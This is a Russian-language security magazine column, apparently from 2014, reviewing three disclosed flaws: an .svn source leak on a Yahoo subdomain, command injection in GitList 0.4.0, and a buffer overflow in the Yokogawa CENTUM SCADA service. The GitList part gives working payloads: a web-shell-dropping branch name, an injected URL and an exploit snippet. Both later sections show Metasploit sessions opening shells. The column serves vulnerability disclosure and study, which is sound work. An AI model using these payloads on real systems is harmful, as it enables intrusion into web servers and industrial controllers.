В сегод­няшнем обзо­ре мы с тобой погово­рим об одной из уяз­вимос­тей, най­ден­ной в Yahoo. Далее рас­смот­рим слу­чай, ког­да воз­можность вне­сения изме­нений в репози­торий может помочь получить дос­туп на сер­вере, прос­то задав свое наз­вание для новой вет­ки раз­работ­ки про­екта. Ну и закон­чим наш обзор одной из уяз­вимос­тей в мод­ных нын­че SCADA-сис­темах.
 

Раскрытие исходного кода на одном из доменов Yahoo

CVSSv2: N/A

Да­та релиза: 11 июля 2014 года

Ав­тор: zigoo0

CVE: N/A

Один из иссле­дова­телей под име­нем zigoo0 решил про­верить под­домены Yahoo! на наличие SVN-дирек­торий. Это .-пап­ки, которые исполь­зуют­ся для кон­тро­ля вер­сий боль­ших про­ектов сис­темой Subversion. Хра­нят­ся они и на боевом веб‑сер­вере. Обыч­но SVN-пути име­ют сле­дующий вид:

https://android.googlesource.com/platform/external/mp4parser/+/dd9eb897ee7c7b507cbdcf80263bb4b5de6966bf/isoparser/src/main/java/com/coremedia/iso/boxes/apple/.svn/entries
 

EXPLOIT

Нуж­ный домен был най­ден, и пос­ле добав­ления Entries был получен спи­сок и тип фай­лов это­го сер­виса. Ты можешь уви­деть его на скрин­шоте.

https://tw.user.mall.yahoo.com/prostore/.svn/entries
Рис. 1. Список и тип файлов на домене Yahoo
Рис. 1. Спи­сок и тип фай­лов на домене Yahoo

Эта информа­ция уже откры­вала дос­туп к раз­личным инте­рес­ным сце­нари­ям атак. Нап­ример, поз­воляла най­ти скры­тую адми­нис­тра­тив­ную панель, которую обыч­ными средс­тва­ми типа брут­форса с боль­шой веро­ятностью не най­ти. Но при даль­нейшем ана­лизе были най­дены HTML-фай­лы, которые называ­лись так же, как и PHP-скрип­ты, и в которых находи­лись исходни­ки тех самых скрип­тов. При­мер одно­го из фай­лов пред­став­лен на скрин­шоте.

https://tw.user.mall.yahoo.com/prostore/ywa/ywa_generic_template.html
Рис. 2. Пример одного из исходников Yahoo-сервиса в виде HTML-файла
Рис. 2. При­мер одно­го из исходни­ков Yahoo-сер­виса в виде HTML-фай­ла

Zigoo0 написал POC-скрипт на Python для пар­синга таких фай­лов и смог не прос­то най­ти адми­нис­тра­тив­ную панель, но и получить дос­туп к ней, исполь­зуя най­ден­ную информа­цию.

Рис. 3. Полученный доступ в административную панель Yahoo-сервиса
Рис. 3. Получен­ный дос­туп в адми­нис­тра­тив­ную панель Yahoo-сер­виса

В ито­ге автор зарепор­тил две уяз­вимос­ти:

  • рас­кры­тие исходно­го кода;
  • по­луче­ние прав адми­нис­тра­тора.

Пос­ле это­го коман­да Yahoo объ­еди­нила их в один отчет и при­суди­ла наг­раду в 250 дол­ларов :). Увы, пока что Bug bounty вып­латы от Yahoo не срав­нятся с Google и Yandex, но будем наде­ять­ся, что все изме­нит­ся в луч­шую для белых шляп сто­рону.

Для подоб­ных забытых фай­лов есть прог­рамма от одно­го из авто­ров нашего жур­нала Дмит­рия Бумова в его бло­ге. Мно­гие тек­сто­вые редак­торы оставля­ют ста­рые вер­сии изме­няемо­го фай­ла, что в ито­ге поз­воля­ет про­читать PHP-файл как тек­сто­вый, так как его рас­ширение ста­новит­ся, нап­ример, вида wp-config.php.bak. Дан­ная же неболь­шая прог­рамма поз­воля­ет авто­мати­зиро­вать поиск таких фай­лов и име­ет спи­сок фай­лов с нас­трой­ками для раз­личных CMS.

 

TARGETS

  • До­мен tw.user.mall.yahoo.com.
 

SOLUTION

Есть исправ­ление от про­изво­дите­ля.

 

Удаленное выполнение произвольного кода в Gitlist 0.4.0

CVSSv2: N/A

Да­та релиза: 30 июня 2014 года

Ав­тор: drone

CVE: 2014-4511

GitList явля­ется очень неп­лохим прос­мот­рщи­ком для Git-репози­тори­ев с откры­тым исходным кодом. Написан он на PHP.

Как пишет автор най­ден­ной уяз­вимос­ти, он исполь­зовал GitList в качес­тве сво­его малень­кого GitHub’а без лиш­него фун­кци­она­ла типа соци­аль­ной сети или дру­гих кра­сивых фишек. А на поиск раз­личных багов в при­ложе­нии его натол­кну­ла одна из оши­бок:

Oops! sh: 1: Syntax error: EOF in backquote substitution

Ав­торы GitList ско­ро ее поп­равили, но, как ока­залось, не до кон­ца. Пос­ле фик­са бага ста­ла про­являть­ся вре­мена­ми, что и вдох­новило иссле­дова­теля на поис­ки. Пос­ле ресер­ча было най­дено нес­коль­ко багов, но речь пой­дет об одном, самом инте­рес­ном, — уда­лен­ном выпол­нение кода.

Об уяз­вимос­ти было сооб­щено раз­работ­чикам, пос­ле чего ей прис­воили номер CVE-2014-4511. Но мы рас­смот­рим не толь­ко ее, но еще и дру­гую ошиб­ку, прав­да, для нее тре­бует­ся дос­туп к вне­сению изме­нению в репози­торий.

 

EXPLOIT

Пер­вая бага была най­дена в биб­лиоте­ке, которая исполь­зует­ся GitList, — Gitter. Gitter поз­воля­ет раз­работ­чикам вза­имо­дей­ство­вать с Git-репози­тори­ями с помощью объ­ектно‑ори­енти­рован­ного прог­рамми­рова­ния. Один из зап­росов исполь­зует дан­ные извне:

$hash = $this->getClient()->run($this, "log --pretty="%T" --max-count=1 $branch");```

Эта строч­ка находит­ся в фай­ле Repository.php биб­лиоте­ки Gitter и вызыва­ется из TreeController.php в самом GitList. Как ты мог заметить, перемен­ная $branch никак не обра­баты­вает­ся. Это озна­чает, что любой, у кого есть дос­туп к вне­сению изме­нений в репози­торий, может соз­дать вре­донос­ную вет­ку (локаль­но или уда­лен­но) и выпол­нить про­изволь­ные коман­ды на сер­вере.

Но не все так радуж­но, сам Git име­ет нес­коль­ко огра­ниче­ний при име­нова­нии веток. Все они рас­писаны и про­веря­ются в фай­ле ref.c. Вет­ка не может:

  1. На­чинать­ся с .
  2. Со­дер­жать двой­ную точ­ку (..)
  3. Со­дер­жать ASCII управля­ющие сим­волы, такие как ?, [, ], ~, ^, :, \
  4. За­кан­чивать­ся /
  5. За­кан­чивать­ся .lock
  6. Со­дер­жать обратную косую чер­ту
  7. Со­дер­жать про­белы

За­поми­наем эти огра­ниче­ния и пыта­емся соз­дать полез­ную наг­рузку. Если кому инте­рес­но, то эти пра­вила идут с 33-й строч­ки в упо­мяну­том фай­ле.

Так как GitList написан на PHP, то попыта­емся закинуть на сер­вер веб‑шелл. Но для начала най­дем под­ходящую дирек­торию для это­го. Одно из тре­бова­ний при уста­нов­ке GitList в фай­ле Install.md гла­сит:

cd /var/www/gitlist
mkdir cache
chmod 777 cache

Это как раз то, что нам нуж­но. Теперь у нас име­ется надеж­ная дирек­тория, да еще и с пра­вами 777, дос­тупная через сеть (/gitlist/cache/my_shell.php). Вто­рым шагом нуж­но будет соз­дать полез­ную наг­рузку, руководс­тву­ясь опи­сан­ными огра­ниче­ниями. В ито­ге получа­ется при­мер­но сле­дующее:

git checkout -b "|echo\$IFS"PD9zeXN0ZW0oJF9SRVFVRVNUWyd4J10pOz8+Cg=="|base64\$IFS-d>/var/www/gitlist/cache/x"

Что­бы вста­вить PHP-код, нам тре­бует­ся зак­лючить его в <? и ?>, поэто­му, что­бы обой­ти огра­ниче­ния, тре­бует­ся наш код закоди­ровать. Для обратно­го декоди­рова­ния мы исполь­зуем *nix-перемен­ную окру­жения $IFS.

Прав­да, некото­рые ска­жут: если у тебя есть дос­туп к вне­сению изме­нений в репози­торий, то это уже победа. Но, как пишет автор, встре­чают­ся слу­чаи, ког­да commit не зна­чит дос­туп к шел­лу.

За­то сле­дующая уяз­вимость поз­воля­ет уже выпол­нить про­изволь­ный код любому поль­зовате­лю без осо­бых прав. Опять же все было свя­зано с перемен­ной $branch:

$blames = $repository->getBlame("$branch -- "$file"");

Как видишь, сно­ва нет никакой обра­бот­ки вхо­дящей перемен­ной, поэто­му автор поп­робовал пов­став­лять спе­циаль­ные сим­волы:

http://localhost/gitlist/my_repo.git/blame/master/""`whoami`

Пос­ле нес­коль­ких попыток раз­ных век­торов атак были получе­ны резуль­таты, пред­став­ленные на рисун­ках.

Рис. 4. Первая попытка RCE в GitList
Рис. 4. Пер­вая попыт­ка RCE в GitList
Рис. 5. Вторая попытка RCE в GitList
Рис. 5. Вто­рая попыт­ка RCE в GitList
Рис. 6. Третья попытка RCE в GitList
Рис. 6. Третья попыт­ка RCE в GitList

Как видишь, любой зап­рос в ито­ге прев­ращал­ся в выпол­нение про­изволь­ного кода.

Да­лее был написан экс­плойт на Python, осно­ву которо­го сос­тавля­ли сле­дующие стро­ки:

path = "/var/www/gitlist/cache" # Стандартный путь
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo=" # Base64-представление мини-шелла <?system($_GET['cmd']);?>
# Создание атакующего URL-запроса
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)

То есть нам нужен путь до пап­ки с кешем от GitList или любой дру­гой с пра­вами 777 и полез­ный код, закоди­рован­ный в Base64. Ну и отпра­вить получен­ный зап­рос. Пос­ле чего мож­но выпол­нить коман­ду и про­верить, работа­ет ли все:

http://localhost/gitlist/cache/x.php?cmd=ls

Пол­ный скрипт от авто­ра мож­но ска­чать из ба­зы экс­плой­тов.

За­пус­тим его на тес­товом стен­де:

root@kali:~/# python gitlist_rce.py http://localhost/gitlist/graymatter
[!] Using cache location /var/www/gitlist/cache
[!] Shell dropped; go hit http://localhost/gitlist/cache/x.php?cmd=ls
root@kali:~/# curl http://localhost/gitlist/cache/x.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Или мож­но вос­поль­зовать­ся Metasploit-модулем:

msf > use exploit/linux/http/gitlist_exec
msf exploit(gitlist_rce) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.81.6:4444
[*] Injecting payload...
[*] Executing payload..
[*] Sending stage (39848 bytes) to 192.168.81.67
[*] Meterpreter session 9 opened (192.168.81.6:4444 -> 192.168.81.67:34241) at 2014-07-10 1:32:01 +0300 meterpreter >
 

TARGETS

  • GitList <= 0.4.0.
 

SOLUTION

Есть исправ­ление от про­изво­дите­ля.

 

Переполнение буфера BKFSim_vhfd.exe в Yokogawa CS3000

CVSSv2: 8.3 (Av:R/Ac:M/A:N/C:P/I:P/A:C)

Да­та релиза: 7 мая 2014 года

Ав­тор: Redsadic, Juan Vazquez

CVE: 2014-3888

Рас­смот­рим инте­рес­ную уяз­вимость, которая была наконец‑то опуб­ликова­на авто­рами с рабочим экс­плой­том. О сво­ем иссле­дова­нии линей­ки про­дук­тов Yokogawa CENTUM CS3000 авто­ры рас­ска­зыва­ли на RootedCON, но экс­плой­ты пуб­ликова­ли не сра­зу. Yokogawa выпус­тили CENTUM CS 3000 R3 в 1998 году, и это была пер­вая на базе Windows сис­тема управле­ния про­изводс­твом под этим брен­дом.

В сво­ей работе Yokogawa Centum CS3000 исполь­зует раз­личные сер­висы для под­держа­ния всех нуж­ных фун­кций. В одном из них и была най­дена уяз­вимость.

Сер­вис BKFSim_vhfd.exe слу­жит для допол­нитель­ного вир­туаль­ного тес­тирова­ния. Он запус­кает­ся при исполне­нии FCS / Test Function и по умол­чанию начина­ет слу­шать порт 20010 (TCP и UDP). Как толь­ко все работа­ет, мы можем отпра­вить спе­циаль­но соз­данный пакет на UDP-порт 20010 и выз­вать перепол­нение сте­ка, что в даль­нейшем поз­воля­ет нам выпол­нить про­изволь­ный код в сис­теме с пра­вами поль­зовате­ля CENTUM.

Са­ма ошиб­ка находит­ся в фун­кции sub_403E10 (IDA помеча­ет ее таким обра­зом авто­мати­чес­ки), которая исполь­зует­ся для логиро­вания целей, которые, в свою оче­редь, будет исполь­зовать сер­вис BKFSim_vhfd.exe. Дан­ная фун­кция сос­тавля­ет стро­ки в логах, исполь­зуя строч­ки опре­делен­ного фор­мата и дан­ные, получен­ные от поль­зовате­ля (в некото­рых слу­чаях испорчен­ные ;)). В ито­ге мы име­ем доволь­но опас­ную фун­кцию, но при этом раз­мер буфера сте­ка про­писан кон­стан­той.

Най­дем два уяз­вимых ука­зате­ля в нашей фун­кции, которые поз­воля­ют пов­редить два буфера сте­ка пос­ле того, как будут соз­даны стро­ки в логах с кон­тро­лиру­емы­ми поль­зовате­лем дан­ными:

BOOL sub_403E10(BOOL a1, const char *Format, ...)
{
unsigned int v2; // ecx@1
BOOL result; // eax@1
unsigned int v4; // ebx@7
void *v5; // edi@7
HANDLE v6; // edx@7
unsigned int v7; // ecx@7
struct _SYSTEMTIME SystemTime; // [sp+0h] [bp-220h]@7
DWORD NumberOfBytesWritten; // [sp+14h] [bp-20Ch]@7
char Buffer[260]; // [sp+18h] [bp-208h]@7 // Overflow 2
char Dest[260]; // [sp+11Ch] [bp-104h]@4 // Overflow 1
va_list va; // [sp+22Ch] [bp+Ch]@1
va_start(va, Format);
HIWORD(v2) = 0;
*((_WORD *)lpBaseAddress + 192) = 61;
result = a1;
LOWORD(v2) = *((_WORD *)lpBaseAddress + 177);
if ( v2 >= a1 && Format && hObject != (HANDLE)-1 )
{
memset(Dest, 0, 0x100u);
Dest[256] = 0;
if ( strlen(Format) < 0x100 )
vsprintf(Dest, Format, va); // Переполнение буфера 1: Опасно использовать функцию vsprintf для копирования данных в стек
else
sprintf(Dest, "data size too big (>= %i)", 256);
GetLocalTime(&SystemTime);
sprintf(
&Buffer,
"%02d/%02d/%02d %02d:%02d:%02d:%03d::sim_vhfd",
SystemTime.wYear % 100,
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond,
SystemTime.wMilliseconds);
v4 = strlen(Dest) + 1;
v5 = &Buffer + strlen(&Buffer); // v5 указывает внутрь переменной Buffer, после логирования заголовка
memcpy(v5, Dest, 4 * (v4 >> 2)); // Переполнение буфера 2: Опасно использовать функцию memcpy для копирования данных в стек
v6 = hObject;
memcpy((char *)v5 + 4 * (v4 >> 2), &Dest[4 * (v4 >> 2)], v4 & 3);
v7 = strlen(&Buffer);
*(&Buffer + v7) = 13;
Buffer[v7 - 1] = 10;
WriteFile(v6, &Buffer, v7 + 2, &NumberOfBytesWritten, 0);
result = FlushFileBuffers(hObject);
*((_WORD *)lpBaseAddress + 192) = 62;
}
return result;
}

От­прав­ка спе­циаль­ным обра­зом соз­данных дан­ных на UDP-порт 20010 с боль­шой веро­ятностью вызовет уяз­вимую фун­кцию и исполь­зует кон­тро­лиру­емые дан­ные, раз­мер которых перепол­нит буфер сте­ка.

Для демонс­тра­ции уяз­вимос­ти возь­мем вре­донос­ный пакет. Эти пакеты пред­став­ляют собой обмен меж­ду раз­личны­ми HIS-стан­циями и FCS-симуля­тором.

Рис. 7. Обмен пакетами между различными HIS-станциями и FCS-симулятором
Рис. 7. Обмен пакета­ми меж­ду раз­личны­ми HIS-стан­циями и FCS-симуля­тором

На­ши пакеты дол­жны соот­ветс­тво­вать сле­дующим тре­бова­ниям:

  • Пер­вые 16 байт — это заголо­вок (header):
    • на сме­щении 6 — два бай­та с иден­тифика­тором пакета,
    • сме­щение 15 — один байт с дли­ной пакета.
  • Пос­ледние 4 бай­та — «хвост» (trail).
  • Бай­ты меж­ду — обмен дан­ными (иден­тифика­тор HIS в нашем слу­чае).

То есть получа­ем сле­дующую струк­туру пакета, пред­став­ленную на рисун­ке, где:

  • ко­ман­да/опе­рация — синий цвет;
  • дли­на пакета — оран­жевый цвет;
  • дан­ные (иден­тифика­тор HIS) — крас­ный цвет.
Рис. 8. Структура пакета при обмене данными с 20010-м портом в Yokogawa CENTUM
Рис. 8. Струк­тура пакета при обме­не дан­ными с 20010-м пор­том в Yokogawa CENTUM

Ког­да прог­рамма получит пакет, попыта­емся соз­дать стро­ку в логе сле­дующе­го фор­мата:

"ERROR:HealthFromUDP():GetHostTblPosByName(hostname=%s) rtnno=%d"

Вос­поль­зуем­ся иден­тифика­тором HIS для того, что­бы под­ста­вить зна­чение в перемен­ную hostname. Это и при­ведет к опи­сан­ному выше перепол­нению буфера.

 

EXPLOIT

Для успешной ата­ки нам нуж­но отпра­вить пакет с длин­ным иден­тифика­тором HIS в поле дан­ных, дли­ны которо­го хва­тит, что­бы перепи­сать зна­чение EIP-регис­тра, сох­ранен­ного в сте­ке (по фак­ту он перепи­шет­ся дваж­ды), и получить выпол­нение про­изволь­ного кода.

В качес­тве экс­плой­та вос­поль­зуем­ся Metasploit-модулем. Тес­тирова­ние про­води­ли на стен­де с Windows XP SP3 и Yokogawa Centum CS3000 R3.08.50:

msf > use exploit/windows/scada/yokogawa_bkfsim_vhfd
msf exploit(yokogawa_bkfsim_vhfd) > set RHOST 192.168.81.63
RHOST => 192.168.81.63
msf exploit(yokogawa_bkfsim_vhfd) > rexploit
[*] Reloading module...
[*] Started bind handler
[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3 (English), sending 789 bytes...
[*] Sending stage (769024 bytes) to 192.168.81.63
[*] Meterpreter session 1 opened (192.168.81.1:58714 -> 192.168.81.63:4444) at 2014-07-15 22:13:41 +0300 meterpreter >

Эта уяз­вимость была пос­ледней в ряду неп­рият­ных багов это­го ПО. Перед этим наши авто­ры уже пуб­ликова­ли нес­коль­ко уяз­вимос­тей для CENTUM, но толь­ко в дру­гих сер­висах. Для них так­же были написа­ны Metasploit-модули:

  • CVE-2014-0781 в BKCLogSvr.exe. Здесь нуж­но было отпра­вить спе­циаль­ный пакет на UDP-порт 52302
  • CVE-2014-0783 в BKHOdeq.exe. Отправ­ка ата­кующе­го пакета на TCP-порт 20171
  • CVE-2014-0784 в BKBCopyD.exe. Ну и отправ­ляем вре­донос­ный пакет на TCP-порт 20111
 

TARGETS

  • Yokogawa CENTUM CS 3000 R2.23.00;
  • Yokogawa CENTUM VP R4.03.00;
  • Yokogawa CENTUM CS 3000 Small R3.09.50;
  • Yokogawa CENTUM VP Small R5.03.20;
  • Yokogawa CENTUM VP Basic R5.03.20.
 

SOLUTION

Есть исправ­ление от про­изво­дите­ля.

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии